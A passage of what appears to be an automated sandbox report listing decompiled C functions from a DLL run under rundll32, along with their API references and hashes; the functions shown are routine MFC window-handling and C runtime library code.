								} else {
									 *_t16 = _t17;
									EnableWindow(_t17, 0);
								}
							}
							return _t18;
						} else {
							goto L9;
						}
						do {
							L9:
							_t17 = _t8;
							_t8 = GetParent(_t8);
						} while (_t8 != 0);
						goto L10;
					}
					_t18 = GetParent(_t18);
					L7:
					if(_t18 != 0) {
						goto L5;
					}
					goto L8;
				}
				_t14 = E6EB486FD();
				if(_t14 != 0) {
					L4:
					_t18 =  *(_t14 + 0x20);
					goto L7;
				}
				_t14 = E6EB487A0();
				if(_t14 != 0) {
					goto L4;
				}
				_t18 = 0;
				goto L8;
			}

APIs

GetWindowLongA.USER32 ref: 6EB4881F
GetParent.USER32(?), ref: 6EB4882D
GetParent.USER32(?), ref: 6EB48840
GetLastActivePopup.USER32(?), ref: 6EB48851
IsWindowEnabled.USER32(?), ref: 6EB48865
EnableWindow.USER32(?,00000000), ref: 6EB48878

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 8a315c542724a7dfcabb26a829fc0f25be9b75f5bd5d8a11222a3aad8baf5397
Instruction ID: cc1f4aea1bf08c867ef617ad0620ea5d5c4d838376e00a119b0ab3127635c74e
Opcode Fuzzy Hash: 8a315c542724a7dfcabb26a829fc0f25be9b75f5bd5d8a11222a3aad8baf5397
Instruction Fuzzy Hash: FD11E7325116B2DBDF631AE99880B5E7FA8EF55BA0F060120FC10E720CDB30C801A3E5

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6D029 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E6EB6D029(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x6eb85588);
				E6EB66608(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E6EB663F6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E6EB6A81F(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E6EB6A81F(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E6EB6A81F(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E6EB6A81F(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E6EB6649B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E6EB6D14F(_t48, _t53, _t55, _t57, _t61);
				return E6EB6664D( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x6eb6d029
0x6eb6d029
0x6eb6d029
0x6eb6d02b
0x6eb6d030
0x6eb6d035
0x6eb6d037
0x6eb6d03a
0x6eb6d03d
0x6eb6d040
0x6eb6d047
0x6eb6d058
0x6eb6d066
0x6eb6d074
0x6eb6d07c
0x6eb6d08a
0x6eb6d090
0x6eb6d097
0x6eb6d09a
0x6eb6d0b0
0x6eb6d0b3
0x6eb6d128
0x6eb6d12f
0x6eb6d136
0x6eb6d143

APIs

__CreateFrameInfo.LIBCMT ref: 6EB6D051

Part of subcall function 6EB663F6: __getptd.LIBCMT ref: 6EB66404
Part of subcall function 6EB663F6: __getptd.LIBCMT ref: 6EB66412

__getptd.LIBCMT ref: 6EB6D05B

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6D069
__getptd.LIBCMT ref: 6EB6D077
__getptd.LIBCMT ref: 6EB6D082
_CallCatchBlock2.LIBCMT ref: 6EB6D0A8

Part of subcall function 6EB6649B: __CallSettingFrame@12.LIBCMT ref: 6EB664E7

Part of subcall function 6EB6D14F: __getptd.LIBCMT ref: 6EB6D15E
Part of subcall function 6EB6D14F: __getptd.LIBCMT ref: 6EB6D16C

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 1701ae659d77b774c4c3f90f661a3293d4a9063c8182b68c9203f75dea520589
Instruction ID: 718ee1871fef641c61ee004fc8f471ff6bcf38ba21c1629a1fd9b71822c8e546
Opcode Fuzzy Hash: 1701ae659d77b774c4c3f90f661a3293d4a9063c8182b68c9203f75dea520589
Instruction Fuzzy Hash: 2B11B4B1C202499FDF01EFE4D944AEE7BB5FF04314F10886AE914AB250EB389A119F50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB544B2 Relevance: 9.0, APIs: 6, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E6EB544B2(struct HWND__* _a4, struct tagPOINT _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				struct HWND__* _t12;
				struct HWND__* _t21;

				ClientToScreen(_a4,  &_a8);
				_push(5);
				_push(_a4);
				while(1) {
					_t12 = GetWindow();
					_t21 = _t12;
					if(_t21 == 0) {
						break;
					}
					if(GetDlgCtrlID(_t21) != 0xffff && (GetWindowLongA(_t21, 0xfffffff0) & 0x10000000) != 0) {
						GetWindowRect(_t21,  &_v20);
						_push(_a12);
						if(PtInRect( &_v20, _a8) != 0) {
							return _t21;
						}
					}
					_push(2);
					_push(_t21);
				}
				return _t12;
			}

APIs

ClientToScreen.USER32 ref: 6EB544C3
GetDlgCtrlID.USER32(00000000), ref: 6EB544D7
GetWindowLongA.USER32 ref: 6EB544E7
GetWindowRect.USER32 ref: 6EB544F9
PtInRect.USER32(?,?,?), ref: 6EB54509
GetWindow.USER32(?,00000005), ref: 6EB54516

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 7f9d11508ae3358550d1c25e80cdc600a7570fa604ffbfd2ca4812e8789da3f7
Instruction ID: 31dac44a22a97fce611cffb16e063bb1bba6a0d16cf9fecd75780600097a51b2
Opcode Fuzzy Hash: 7f9d11508ae3358550d1c25e80cdc600a7570fa604ffbfd2ca4812e8789da3f7
Instruction Fuzzy Hash: 05018F32540565BBEF219EA4DC18EDE3B69EF43311F014021F911D32A0D730D6668B90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5D245 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
memoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6EB5D245(signed int __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _t127;
				signed int _t128;
				signed int* _t134;
				signed int* _t137;
				signed int _t138;
				signed int _t140;
				signed int* _t141;
				void* _t144;
				intOrPtr* _t148;
				signed int _t153;
				signed int _t154;
				signed int* _t156;
				signed int* _t158;
				intOrPtr* _t162;
				signed int _t163;
				signed int _t164;
				signed int _t167;
				signed int _t168;
				intOrPtr* _t170;
				void* _t171;
				signed int _t172;
				signed int _t176;
				signed int _t177;
				signed int _t184;
				signed int _t186;
				signed int* _t188;
				signed int* _t190;
				signed int* _t193;
				signed int _t194;
				signed int _t205;
				signed int _t207;
				void* _t249;
				intOrPtr* _t253;
				void* _t254;
				void* _t262;
				void* _t265;

				_t192 = __ebx;
				_push(0x94);
				E6EB66564(0x6eb78072, __ebx, __edi, __esi);
				_t253 = __ecx;
				 *(_t254 - 0x88) =  *(__ecx + 0x14);
				 *(_t254 - 0x80) =  *(__ecx + 0x10);
				if( *((intOrPtr*)(__ecx + 0x48)) == 0) {
					_t127 =  *(__ecx + 8);
					__eflags = _t127;
					if(_t127 != 0) {
						_t128 =  *((intOrPtr*)( *_t127 + 0xc))(_t127, 0x6eb7e104, _t254 - 0x78, _t254 - 0x7c);
						__eflags = _t128;
						if(_t128 >= 0) {
							E6EB59E0A(_t254 - 0x70, 0x6eb7e834);
							 *(_t254 - 0x50) =  *(_t254 - 0x50) | 0xffffffff;
							 *((intOrPtr*)(_t254 - 0x58)) = 0;
							 *((intOrPtr*)(_t254 - 0x54)) = 0;
							 *((intOrPtr*)(_t254 - 0x4c)) = 0x18;
							 *((intOrPtr*)(_t254 - 0x48)) = 0;
							 *((intOrPtr*)(_t254 - 0x44)) = 0x1fb;
							E6EB59E0A(_t254 - 0x40, 0x6eb7e84c);
							_t134 =  *(_t254 - 0x78);
							 *(_t254 - 0x20) =  *(_t254 - 0x20) | 0xffffffff;
							 *((intOrPtr*)(_t254 - 0x28)) = 0x1c;
							 *((intOrPtr*)(_t254 - 0x24)) = 0;
							 *((intOrPtr*)(_t254 - 0x1c)) = 0x20;
							 *((intOrPtr*)(_t254 - 0x18)) = 0;
							 *((intOrPtr*)(_t254 - 0x14)) = 0x1e;
							_t192 =  *((intOrPtr*)( *_t134 + 0x10))(_t134, 2, _t254 - 0x70, 0x28, 0);
							__eflags = _t192;
							if(_t192 >= 0) {
								 *(_t254 - 0xa0) =  *(_t254 - 0x7c);
								_t137 =  *(_t254 - 0x78);
								 *((intOrPtr*)(_t254 - 0x9c)) = 1;
								 *(_t254 - 0x98) = 0;
								 *((intOrPtr*)(_t254 - 0x94)) = 0;
								 *((intOrPtr*)(_t254 - 0x90)) = 0;
								_t192 =  *_t137;
								_t138 =  *((intOrPtr*)( *_t137 + 0x18))(_t137, 0, 0, _t254 - 0xa0);
								__eflags = _t138;
								 *(_t254 - 0x84) = _t138;
								if(_t138 >= 0) {
									 *(_t253 + 0x14) =  *(_t254 - 0x98);
									_t140 =  *(_t254 - 0x8c);
									 *(_t254 - 0x7c) = _t140;
									 *(_t253 + 0x10) = _t140;
									_t141 =  *(_t254 - 0x78);
									 *((intOrPtr*)(_t253 + 0x34)) =  *((intOrPtr*)(_t254 - 0x94));
									 *((intOrPtr*)( *_t141 + 8))(_t141);
									goto L27;
								} else {
									_t156 =  *(_t254 - 0x78);
									 *((intOrPtr*)( *_t156 + 8))(_t156);
								}
								goto L45;
							} else {
								_t158 =  *(_t254 - 0x78);
								 *((intOrPtr*)( *_t158 + 8))(_t158);
							}
						}
					} else {
					}
				} else {
					_t162 =  *((intOrPtr*)(__ecx + 0x4c));
					_t163 =  *((intOrPtr*)( *_t162 + 0x14))(_t162, 0x6eb7e334, _t254 - 0x74);
					 *(_t254 - 0x84) = _t163;
					if(_t163 >= 0) {
						_t164 =  *(_t254 - 0x74);
						_push(_t254 - 0x7c);
						_push(0x6eb7e1d4);
						_push(_t164);
						if( *((intOrPtr*)( *_t164))() >= 0) {
							_t184 =  *(_t254 - 0x7c);
							_push(_t254 - 0x78);
							_push(0x6eb7e454);
							 *(_t254 - 0x78) = 0;
							_push(_t184);
							if( *((intOrPtr*)( *_t184 + 0x10))() >= 0) {
								_t188 =  *(_t254 - 0x78);
								_t249 =  *((intOrPtr*)(__ecx + 4)) + 0xe8;
								_t262 = _t249;
								 *((intOrPtr*)( *_t188 + 0x14))(_t188, _t249, __ecx + 0x58);
								_t190 =  *(_t254 - 0x78);
								 *((intOrPtr*)( *_t190 + 8))(_t190);
							}
							_t186 =  *(_t254 - 0x7c);
							 *((intOrPtr*)( *_t186 + 8))(_t186);
						}
						if(E6EB47C96(_t262, 0x14) == 0) {
							_t167 = 0;
							__eflags = 0;
						} else {
							_t167 = E6EB5CA65(_t166,  *(_t254 - 0x74));
						}
						 *((intOrPtr*)(_t253 + 0x50)) = _t167;
						_t168 =  *(_t254 - 0x74);
						 *((intOrPtr*)( *_t168 + 8))(_t168);
						_t170 =  *((intOrPtr*)(_t253 + 0x50));
						_t221 =  *_t170;
						if( *_t170 != 0) {
							_t265 = _t170 + 4;
							E6EB5A09F(_t221, _t170 + 4);
						}
						_t171 = E6EB47C96(_t265, 0x28);
						_t266 = _t171;
						if(_t171 == 0) {
							_t172 = 0;
							__eflags = 0;
						} else {
							_t172 = E6EB58C1D(_t171, 0, 0x1f40);
						}
						 *((intOrPtr*)(_t253 + 0x54)) = _t172;
						_push( *((intOrPtr*)( *((intOrPtr*)(_t253 + 0x50)))));
						E6EB5CC08(_t192, _t172, 0, _t253, _t266);
						 *((intOrPtr*)( *((intOrPtr*)(_t253 + 0x50)) + 8)) =  *((intOrPtr*)(_t253 + 0x54));
						_t176 =  *( *((intOrPtr*)(_t253 + 0x54)) + 0xc);
						 *(_t253 + 0x10) = _t176;
						if(_t176 <= 0x3333333) {
							_t177 = _t176 * 0x28;
							__imp__CoTaskMemAlloc(_t177);
							__eflags = _t177;
							_t226 = 0 | __eflags != 0x00000000;
							 *(_t253 + 0x14) = _t177;
							__eflags = __eflags != 0;
							if(__eflags == 0) {
								_t177 = E6EB48B6C(_t192, _t226, 0, _t253, __eflags);
							}
							E6EB65E80(0, _t177, 0,  *(_t253 + 0x10) * 0x28);
							E6EB5CA8C( *((intOrPtr*)(_t253 + 0x50)));
							E6EB5A006( *((intOrPtr*)(_t253 + 0x50)));
							L27:
							__eflags =  *(_t253 + 0x10);
							 *(_t254 - 0x74) = 0;
							if( *(_t253 + 0x10) > 0) {
								_t194 = 0;
								__eflags = 0;
								do {
									_t153 = E6EB47C96(__eflags, 0x1c);
									 *(_t254 - 0x7c) = _t153;
									 *(_t254 - 4) = 0;
									__eflags = _t153;
									if(_t153 == 0) {
										_t154 = 0;
										__eflags = 0;
									} else {
										_t154 = E6EB56779(_t153, 0xa);
									}
									 *(_t254 - 4) =  *(_t254 - 4) | 0xffffffff;
									 *(_t254 - 0x74) =  *(_t254 - 0x74) + 1;
									 *((intOrPtr*)(_t194 +  *(_t253 + 0x14) + 0x24)) = _t154;
									_t194 = _t194 + 0x28;
									__eflags =  *(_t254 - 0x74) -  *(_t253 + 0x10);
								} while (__eflags < 0);
							}
							_t192 =  *(_t254 - 0x88);
							__eflags = _t192;
							if(_t192 != 0) {
								__eflags =  *(_t254 - 0x80);
								if( *(_t254 - 0x80) > 0) {
									_t144 = 0xffffffdc;
									_t193 = _t192 + 0x24;
									 *(_t254 - 0x74) =  *(_t254 - 0x80);
									 *(_t254 - 0x7c) = _t144 -  *(_t254 - 0x88);
									while(1) {
										_t205 =  *( *_t193 + 4);
										 *(_t254 - 0x80) = _t205;
										__eflags = _t205;
										if(_t205 == 0) {
											goto L41;
										}
										while(1) {
											_t148 = E6EB4ABF2(_t254 - 0x80);
											 *((intOrPtr*)( *_t253 + 8))( *_t148, 1);
											__eflags =  *(_t254 - 0x80);
											if( *(_t254 - 0x80) == 0) {
												goto L41;
											}
										}
										L41:
										E6EB56691( *_t193);
										_t207 =  *_t193;
										__eflags = _t207;
										if(_t207 != 0) {
											 *((intOrPtr*)( *_t207 + 4))(1);
										}
										_t193 =  &(_t193[0xa]);
										_t119 = _t254 - 0x74;
										 *_t119 =  *(_t254 - 0x74) - 1;
										__eflags =  *_t119;
										if( *_t119 != 0) {
											continue;
										}
										goto L44;
									}
								}
								L44:
								__imp__CoTaskMemFree( *(_t254 - 0x88));
							}
							L45:
						} else {
						}
					}
				}
				return E6EB665E7(_t192, 0, _t253);
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB5D24F
CoTaskMemAlloc.OLE32(?,?), ref: 6EB5D373
_memset.LIBCMT ref: 6EB5D395
CoTaskMemFree.OLE32(?), ref: 6EB5D598

Strings

, xrefs: 6EB5D430

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Task$AllocFreeH_prolog3__memset
String ID:
API String ID: 3303116700-3916222277
Opcode ID: 9b5c9b4cc1ec0ffe2ace5a4485d12ce33bb5e163e819e9c5a9ce28bb63286ed8
Instruction ID: a9c3ee633095833dc50a7748413c7eaba6867b59a9ea722e9d4a344d868e1e5f
Opcode Fuzzy Hash: 9b5c9b4cc1ec0ffe2ace5a4485d12ce33bb5e163e819e9c5a9ce28bb63286ed8
Instruction Fuzzy Hash: F8C12870A106459FDB24CFE8D894A9EBBB5FF88308F208A5DE016EB355DB71A941CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4F16D Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 244
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB4F16D(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				char* _v20;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr _v52;
				signed int _v56;
				void* __ebp;
				intOrPtr _t127;
				void* _t133;
				intOrPtr _t135;
				signed int _t145;
				signed int _t150;
				signed int _t183;
				signed int _t185;
				signed int _t187;
				signed int _t189;
				signed int _t191;
				signed int _t195;
				void* _t198;
				intOrPtr _t199;
				signed int _t209;

				_t198 = __ecx;
				_t127 = E6EB53D20(__ebx, __edi, __esi, __eflags);
				_v8 = _t127;
				_t3 =  &_a4;
				 *_t3 = _a4 &  !( *(_t127 + 0x18));
				if( *_t3 == 0) {
					return 1;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 0;
				E6EB65E80(0,  &_v56, 0, 0x28);
				_v52 = DefWindowProcA;
				_t133 = E6EB53D20(__ebx, 0, 0, __eflags);
				__eflags = _a4 & 0x00000001;
				_v40 =  *((intOrPtr*)(_t133 + 8));
				_t135 =  *0x6eb8c930; // 0x10003
				_t195 = 8;
				_v32 = _t135;
				_v16 = _t195;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0xb;
					_v20 = "AfxWnd90s";
					_t191 = E6EB4EF71(_t195, _t198, 0, 0, __eflags);
					__eflags = _t191;
					if(_t191 != 0) {
						_t209 = 1;
						__eflags = 1;
					}
				}
				__eflags = _a4 & 0x00000020;
				if(__eflags != 0) {
					_v56 = _v56 | 0x0000008b;
					_push( &_v56);
					_v20 = "AfxOleControl90s";
					_t189 = E6EB4EF71(_t195, _t198, 0, _t209, __eflags);
					__eflags = _t189;
					if(_t189 != 0) {
						_t209 = _t209 | 0x00000020;
						__eflags = _t209;
					}
				}
				__eflags = _a4 & 0x00000002;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0;
					_v20 = "AfxControlBar90s";
					_v28 = 0x10;
					_t187 = E6EB4EF71(_t195, _t198, 0, _t209, __eflags);
					__eflags = _t187;
					if(_t187 != 0) {
						_t209 = _t209 | 0x00000002;
						__eflags = _t209;
					}
				}
				__eflags = _a4 & 0x00000004;
				if(__eflags != 0) {
					_v56 = _t195;
					_v28 = 0;
					_t185 = E6EB4F129(_t198, __eflags,  &_v56, "AfxMDIFrame90s", 0x7a01);
					__eflags = _t185;
					if(_t185 != 0) {
						_t209 = _t209 | 0x00000004;
						__eflags = _t209;
					}
				}
				__eflags = _a4 & _t195;
				if(__eflags != 0) {
					_v56 = 0xb;
					_v28 = 6;
					_t183 = E6EB4F129(_t198, __eflags,  &_v56, "AfxFrameOrView90s", 0x7a02);
					__eflags = _t183;
					if(_t183 != 0) {
						_t209 = _t209 | _t195;
						__eflags = _t209;
					}
				}
				__eflags = _a4 & 0x00000010;
				if(__eflags != 0) {
					_v12 = 0xff;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x3fc0);
					_t48 =  &_a4;
					 *_t48 = _a4 & 0xffffc03f;
					__eflags =  *_t48;
				}
				__eflags = _a4 & 0x00000040;
				if(__eflags != 0) {
					_v12 = 0x10;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x40);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000080;
				if(__eflags != 0) {
					_v12 = 2;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x80);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000100;
				if(__eflags != 0) {
					_v12 = _t195;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x100);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000200;
				if(__eflags != 0) {
					_v12 = 0x20;
					_t209 = _t209 | E6EB4CC8D(_t195, _t198, _t209, __eflags,  &_v16, 0x200);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000400;
				if(__eflags != 0) {
					_v12 = 1;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x400);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00000800;
				if(__eflags != 0) {
					_v12 = 0x40;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x800);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00001000;
				if(__eflags != 0) {
					_v12 = 4;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x1000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00002000;
				if(__eflags != 0) {
					_v12 = 0x80;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x2000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00004000;
				if(__eflags != 0) {
					_v12 = 0x800;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x4000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00008000;
				if(__eflags != 0) {
					_v12 = 0x400;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x8000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00010000;
				if(__eflags != 0) {
					_v12 = 0x200;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x10000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00020000;
				if(__eflags != 0) {
					_v12 = 0x100;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x20000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00040000;
				if(__eflags != 0) {
					_v12 = 0x8000;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x40000);
					__eflags = _t209;
				}
				__eflags = _a4 & 0x00080000;
				if(__eflags != 0) {
					_v12 = 0x1000;
					_t209 = _t209 | E6EB4CC8D(0x400, _t198, _t209, __eflags,  &_v16, 0x80000);
					__eflags = _t209;
				}
				_t199 = _v8;
				 *(_t199 + 0x18) =  *(_t199 + 0x18) | _t209;
				_t145 =  *(_t199 + 0x18);
				__eflags = (_t145 & 0x00003fc0) - 0x3fc0;
				if((_t145 & 0x00003fc0) == 0x3fc0) {
					 *(_t199 + 0x18) = _t145 | 0x00000010;
					_t209 = _t209 | 0x00000010;
					__eflags = _t209;
				}
				asm("sbb eax, eax");
				_t150 =  ~((_t209 & _a4) - _a4) + 1;
				__eflags = _t150;
				return _t150;
			}

0x6eb4f16d
0x6eb4f175
0x6eb4f17a
0x6eb4f182
0x6eb4f182
0x6eb4f185
0x00000000
0x6eb4f189
0x6eb4f18f
0x6eb4f190
0x6eb4f191
0x6eb4f19b
0x6eb4f19d
0x6eb4f1aa
0x6eb4f1ad
0x6eb4f1b2
0x6eb4f1bb
0x6eb4f1be
0x6eb4f1c3
0x6eb4f1c4
0x6eb4f1c7
0x6eb4f1ca
0x6eb4f1cf
0x6eb4f1d0
0x6eb4f1d7
0x6eb4f1de
0x6eb4f1e3
0x6eb4f1e5
0x6eb4f1e7
0x6eb4f1e7
0x6eb4f1e7
0x6eb4f1e5
0x6eb4f1e8
0x6eb4f1ec
0x6eb4f1ee
0x6eb4f1f8
0x6eb4f1f9
0x6eb4f200
0x6eb4f205
0x6eb4f207
0x6eb4f209
0x6eb4f209
0x6eb4f209
0x6eb4f207
0x6eb4f20c
0x6eb4f210
0x6eb4f215
0x6eb4f216
0x6eb4f219
0x6eb4f220
0x6eb4f227
0x6eb4f22c
0x6eb4f22e
0x6eb4f230
0x6eb4f230
0x6eb4f230
0x6eb4f22e
0x6eb4f233
0x6eb4f237
0x6eb4f247
0x6eb4f24a
0x6eb4f24d
0x6eb4f252
0x6eb4f254
0x6eb4f256
0x6eb4f256
0x6eb4f256
0x6eb4f254
0x6eb4f259
0x6eb4f25c
0x6eb4f26c
0x6eb4f273
0x6eb4f27a
0x6eb4f27f
0x6eb4f281
0x6eb4f283
0x6eb4f283
0x6eb4f283
0x6eb4f281
0x6eb4f285
0x6eb4f289
0x6eb4f294
0x6eb4f2a0
0x6eb4f2a2
0x6eb4f2a2
0x6eb4f2a2
0x6eb4f2a2
0x6eb4f2a9
0x6eb4f2ad
0x6eb4f2b5
0x6eb4f2c1
0x6eb4f2c1
0x6eb4f2c1
0x6eb4f2c3
0x6eb4f2c7
0x6eb4f2d2
0x6eb4f2de
0x6eb4f2de
0x6eb4f2de
0x6eb4f2e5
0x6eb4f2e8
0x6eb4f2ef
0x6eb4f2f7
0x6eb4f2f7
0x6eb4f2f7
0x6eb4f2fe
0x6eb4f301
0x6eb4f308
0x6eb4f314
0x6eb4f314
0x6eb4f314
0x6eb4f31b
0x6eb4f31e
0x6eb4f325
0x6eb4f331
0x6eb4f331
0x6eb4f331
0x6eb4f338
0x6eb4f33b
0x6eb4f342
0x6eb4f34e
0x6eb4f34e
0x6eb4f34e
0x6eb4f355
0x6eb4f358
0x6eb4f35f
0x6eb4f36b
0x6eb4f36b
0x6eb4f36b
0x6eb4f372
0x6eb4f375
0x6eb4f37c
0x6eb4f388
0x6eb4f388
0x6eb4f388
0x6eb4f38f
0x6eb4f392
0x6eb4f399
0x6eb4f3a1
0x6eb4f3a1
0x6eb4f3a1
0x6eb4f3a8
0x6eb4f3ab
0x6eb4f3b2
0x6eb4f3ba
0x6eb4f3ba
0x6eb4f3ba
0x6eb4f3c1
0x6eb4f3c4
0x6eb4f3cb
0x6eb4f3d7
0x6eb4f3d7
0x6eb4f3d7
0x6eb4f3de
0x6eb4f3e1
0x6eb4f3e8
0x6eb4f3f4
0x6eb4f3f4
0x6eb4f3f4
0x6eb4f3fb
0x6eb4f3fe
